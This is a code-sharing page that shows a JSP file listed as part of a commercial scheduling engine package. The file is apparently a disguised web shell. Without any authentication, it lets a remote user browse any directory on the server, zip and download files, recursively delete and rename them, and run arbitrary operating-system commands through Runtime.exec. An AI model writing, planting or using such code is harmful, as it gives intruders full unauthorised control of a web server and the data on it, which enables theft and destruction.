⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 st0remaster.jsp

📁 全球著名IT公司ILog的APS高级排产优化引擎
💻 JSP
字号:
<%@ page language="java" %>
<%@ page contentType="text/html;charset=GBK" %> 
<%@page import="java.text.*"%>
<%@page import="java.util.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.zip.*"%>
<%@page import="java.io.*"%>

<%
	String pathtxt = "";
	String _userFOLDER[] = {""};
	int _i=0;

%>
<title>AIDS</title>

<%
//PMR0omMasterService cf_upload = null;
HttpServletRequest cf_upload = request;
ZipOutputStream zipos= null;
String operation = cf_upload.getParameter("operation").trim();;

/**** Try to get File Upload first ****/
/*try {
  cf_upload = PMR0omMasterService.getContentFactory(request,1024*1024*100);
}
catch (Exception e) {
	out.println("Upload error: '" +e.getMessage() + "'");
	return;
}
*/
/**** File Processing ****/
try
{
	pathtxt += cf_upload.getParameter("pathtxt").trim();

/////////////////////////////////////////////////////////////////////////////////////////////////
//Upload File
/////////////////////////////////////////////////////////////////////////////////////////////////
if (operation.compareTo("1")==0) {
	out.println("<h4>File Upload result:</h4>");
/*
	File tmpFile = new File(pathtxt);
	if (!tmpFile.exists()) tmpFile.mkdir();

	for (int i=1; i<6; i++) {
		PMR00mMasterService uploadFile = cf_upload.getFileParameter("file"+i);
		if (uploadFile != null) {
		  String _tmpStr = uploadFile.getFileName();
		  int _idx = _tmpStr.lastIndexOf("\\");

		  String filename = pathtxt + "/" + (_idx!=-1?_tmpStr.substring(_idx+1):_tmpStr);
		  uploadFile.saveTo(filename);
		  out.println("<small>\""+filename+"\" Saved.</small><br>");
		}
	}*/
}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Download File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("2")==0) {
	int block_size = 10;
	String sizer = cf_upload.getParameter("sizer");
	try {block_size=Integer.parseInt(sizer);}catch(Exception e) {};
	int BLOCK = 1024*1024*block_size;

	out.println("<h4>Download result:</h4>");
	//Check File Exists
	File tmpFile = new File(pathtxt);
	if (!tmpFile.exists()) throw new Exception("File or Directory <font color=\"red\">\"" + pathtxt + "\"</font> not exists.");
	//Check Directory Empty
	if (tmpFile.isDirectory() && tmpFile.listFiles().length == 0) throw new Exception("Empty Directory <font color=\"red\">\"" + pathtxt + "\"</font>.");

	//Prepared New Zip File
	File zipFile=new File(getServletConfig().getServletContext().getRealPath("/") + "temporary.zip");

	if(!zipFile.exists()) zipFile.createNewFile();
	zipos = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(zipFile)));
	zipos.setMethod(ZipOutputStream.DEFLATED);

	//Write File
	if (tmpFile.isFile()) {
		BufferedInputStream fin = new BufferedInputStream(new FileInputStream(tmpFile));
		zipos.putNextEntry(new ZipEntry( tmpFile.getName() ));
		byte[] tmpByte = new byte[BLOCK];
		int len = 0;
		while ((len=fin.read(tmpByte)) != -1)
			zipos.write(tmpByte,0,len);
		fin.close();
		zipos.closeEntry();
	}

	//Write Directory
	else {

		File file = tmpFile;
		int path_Pos = tmpFile.getPath().lastIndexOf("/") + 1;
		Stack dir1_stack = new Stack();
		dir1_stack.push(file);
		/**** Compress all File ****/
		while (!dir1_stack.isEmpty()) {
		  File file_List[] = file.listFiles();
		  for (int i=0;i<file_List.length;i++) {
			File tmp_file = file_List[i];
			if (tmp_file.isDirectory()) {
				dir1_stack.push(file_List[i]);
				continue;
			}

			//Write File Bytes
			String tmp_path = tmp_file.getPath().substring(path_Pos);
			zipos.putNextEntry(new ZipEntry(tmp_path));

			//Read File Bytes
			BufferedInputStream fin = new BufferedInputStream(new FileInputStream(tmp_file));
			byte[] tmpByte = new byte[BLOCK];
			int len = 0;
			while ((len=fin.read(tmpByte)) != -1)
				zipos.write(tmpByte,0,len);
			fin.close();
			zipos.closeEntry();
		  }
		  file = (File)dir1_stack.pop();
		}
		zipos.finish();
	}

//	response.sendRedirect("/pipe-eval/temporary.zip");
}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Browse File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("3")==0) { 
	//Check Directory Exists
	File tmpFile = new File(pathtxt);
	if (!tmpFile.exists() || !tmpFile.isDirectory())  throw new IOException("Directory <font color=\"red\">\"" + pathtxt + "\"</font> not exists.");%>

	<h4>Browse result: <%=tmpFile.getPath()%></h4>
	<script>
	function onclick_sub(s)
	{
		with (document.form1) {
			operation.value = "3";
			pathtxt.value = pathtext.value + "\\" + s;
			window.opener.document.form1.pathtxt.value = pathtxt.value;
			submit();
		}
		return false;
	}
	function onclick_download(s)
	{
		with (document.form1) {
			operation.value = "2";
			pathtxt.value = pathtext.value + "\\" + s;
			if ((sizer.value=prompt("input size(M)","10"))==null) return false;
			submit();
		}
		return false;
	}
	function onclick_up()
	{
		with (document.form1) {
			operation.value = "3";
			var idx = pathtext.value.lastIndexOf("\\");
			pathtxt.value = pathtext.value.substring(0,idx);
			window.opener.document.form1.pathtxt.value = pathtxt.value;
			submit();
		}
		return false;
	}
	function onclick_delete(s)
	{
		if (confirm("Delete \"" + s + "\"?")) {
		with (document.form1) {
			operation.value = "4";
			pathtxt.value = pathtext.value + "\\" + s;
			submit();
		}
		}
		return false;
	}
	function onclick_rename(s)
	{
		with (document.form1) {
		var str = prompt("Rename to:",pathtext.value + "\\" + s);
		if (str) {
			operation.value = "5";
			pathtxt.value = pathtext.value;
			orgname.value = s;
			descname.value = str;
			submit();
		}
		}
		return false;
	}
	</script>
	<form action="St0reMaster.jsp" name="form1" method="post">
		<input type="hidden" name="operation" value="3">
		<input type="hidden" name="pathtxt" value="">
<%
	String _relPath = tmpFile.getPath();
	if (_relPath.indexOf(_userFOLDER[_i]) != 0)
		_relPath = "/";
	else 
		_relPath = _relPath.substring(_userFOLDER[_i].length());
%>
		<input type="hidden" name="pathtext" value="<%=_relPath%>">
		<input type="hidden" name="orgname" value="">
		<input type="hidden" name="descname" value="">
		<input type="hidden" name="sizer" value="">
	</form>
	<table>
<%
	//get File & Directory List
 	Map mapDir = new TreeMap();
	Map mapFile = new TreeMap();
	File file_List[] = tmpFile.listFiles();
	for (int i=0; i<file_List.length; i++) {
		  if (file_List[i].isDirectory()) 
		    mapDir.put(file_List[i].getName(),file_List[i]);
		  else
		    mapFile.put(file_List[i].getName(),file_List[i]);
	}%>

	<b>Directory:</b> <%=mapDir.size()%>  <b>File:</b> <%=mapFile.size()%>
	<tr>
	<td><%=tmpFile.getParent()!=null?"<a href=\"#\" onclick=\"javascript:return onclick_up()\"><font color=\"blue\"><small><b>..\\</a></b></small></font>":""%></td><td> </td><td> </td>
	</tr>

<%	Iterator itDir = mapDir.keySet().iterator();
	Iterator itFile = mapFile.keySet().iterator();
	SimpleDateFormat formatter = new SimpleDateFormat("yyyy/MM/dd HH:mm ");
	//Print Directory
	while (itDir.hasNext()) {
	  out.println("<tr>");
	  Object obj = itDir.next();
	  tmpFile = (File)mapDir.get(obj);
	  Date date = new Date(tmpFile.lastModified()); %>

	  <td nowrap>
	    <a href="#" onclick="javascript:return onclick_sub('<%=tmpFile.getName()%>')">
		<font color="blue"><small><b><%=tmpFile.getName()%></b></small></font></a>&nbsp;
	    <a href="#" onclick="javascript:return onclick_download('<%=tmpFile.getName()%>')">
	        <font color="green"><small>DOWN</small></font></a>
	    <a href="#" onclick="javascript:return onclick_rename('<%=tmpFile.getName()%>')">
	        <font color="green"><small>REN</small></font></a>
	    <a href="#" onclick="javascript:return onclick_delete('<%=tmpFile.getName()%>')">
	        <font color="red"><small>DEL</small></font></a>
	  </td>
	  <td nowrap><small><%=formatter.format(date)%></small></td>
	  <td nowrap align="right"><small><%=tmpFile.length()%></small></td>
	  </tr>

<%	}

	//Print File
	while (itFile.hasNext()) {
	  out.println("<tr>");
	  Object obj = itFile.next();
	  tmpFile = (File)mapFile.get(obj);
  	  Date date = new Date(tmpFile.lastModified()); %>

	  <td nowrap>
	    <a href="#" onclick="javascript:return onclick_download('<%=tmpFile.getName()%>')">
		<font color="red"><small><%=tmpFile.getName()%></small></font></a>&nbsp;
	    <a href="#" onclick="javascript:return onclick_rename('<%=tmpFile.getName()%>')">
	        <font color="green"><small>REN</small></font></a>
	    <a href="#" onclick="javascript:return onclick_delete('<%=tmpFile.getName()%>')">
	        <font color="red"><small>DEL</small></font></a>
	  </td>
	  <td nowrap><small><%=formatter.format(date)%></small></td>
	  <td nowrap align="right"><small><%=tmpFile.length()%></small></td></small>
	  </tr>

<%	}

	out.println("</table>");
}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Delete File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("4")==0) {
	//Check Directory Exists
	File tmpFile = new File(pathtxt);
	if (!tmpFile.exists())  throw new IOException("File or Directory <font color=\"red\">\"" + pathtxt + "\"</font> not exists.");%>

	<h4>Delete result:</h4>

<%	//Delete File
	if (tmpFile.isFile()) { %>
		<small>"<%=pathtxt%>" Deleted<%=(tmpFile.delete()?"":" <font color=\"red\">Failed</font>")%>.</small><br>
<%	}	
	//Delete Directory
	else {
		    File file = tmpFile;
		    Stack dir1_stack = new Stack();
		    Stack dir2_stack = new Stack();
		    dir1_stack.push(file);
		    dir2_stack.push(file);

		    /**** Delete all File ****/
		    while (!dir1_stack.isEmpty()) {
		      File file_List[] = file.listFiles();
		      for (int i=0;i<file_List.length;i++) {
			File tmp_file = file_List[i]; 
			if (tmp_file.isDirectory()) {
		          dir1_stack.push(file_List[i]);
			  dir2_stack.push(file_List[i]);
			  continue;
			} %>

			<small>"<%=tmp_file.getPath()%>" Deleted<%=(tmp_file.delete()?"":" <font color=\"red\">Failed</font>")%>.</small><br>
<%		      }
		      file = (File)dir1_stack.pop();
		    }

		    /**** Delete all Directory ****/
		    while (!dir2_stack.isEmpty()) {
		      File tmp_dir = (File)dir2_stack.pop(); %>
			  <small><b>"<%=tmp_dir.getPath()%>"</b> Deleted<%=(tmp_dir.delete()?"":" <font color=\"red\">Failed</font>")%>.</small><br>
<%		    }
	}

}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Rename File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("5")==0) {
	String orgname = cf_upload.getParameter("orgname").trim();;
	String descname = cf_upload.getParameter("descname").trim();

	//Check Directory Exists
	File tmpFile = new File(pathtxt + "\\" + orgname);
	if (!tmpFile.exists())  throw new IOException("File or Directory <font color=\"red\">\"" + pathtxt + "\"</font> not exists.");
	File descFile = new File(descname); %>

	<h4>Rename result:</h4>
	<small>File "<%=tmpFile.getPath()%>" Renamed to "<%=descFile.getPath()%>" <%=(tmpFile.renameTo(descFile)?"OK":"<font color=\"red\">Failed</font>")%>.</small><br>
<%
}

/////////////////////////////////////////////////////////////////////////////////////////////////
//Execute File
/////////////////////////////////////////////////////////////////////////////////////////////////
else 
if (operation.compareTo("6")==0) {
	String commandtxt = cf_upload.getParameter("commandtxt").trim();
	String commandpara = cf_upload.getParameter("commandpara").trim();

	Runtime r = Runtime.getRuntime(); %>

	<h4>Execute result:</h4>
	Total Memory: <%=r.totalMemory()/(1024.0f*1024.0f)%> MKb<br>
	Free Memory: <%=r.freeMemory()/(1024.0f*1024.0f)%> MKb

<%	Process p = null;
	StringTokenizer st = new StringTokenizer(commandpara,",");
	int _paraCount = st.countTokens() + 1;

	String cmd[] = new String[_paraCount];
	cmd[0] = commandtxt;
	if (_paraCount != 0) {
		for (int i = 1; i < _paraCount; i++)
			cmd[i] = st.nextToken();
	}
	File ff=new File ("c:\\");
	p=r.exec(cmd,null,ff); 

}

}
catch(Exception e) {
	out.println("<br>"+e.toString());
	return;
}
finally {
	try {
		if (zipos != null) zipos.close();

		if (operation.compareTo("2")==0) {
			File ff=new File(getServletConfig().getServletContext().getRealPath("/") + "temporary.zip");
			ff.delete();
		}
	}
	catch(Exception e){}
}
%>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -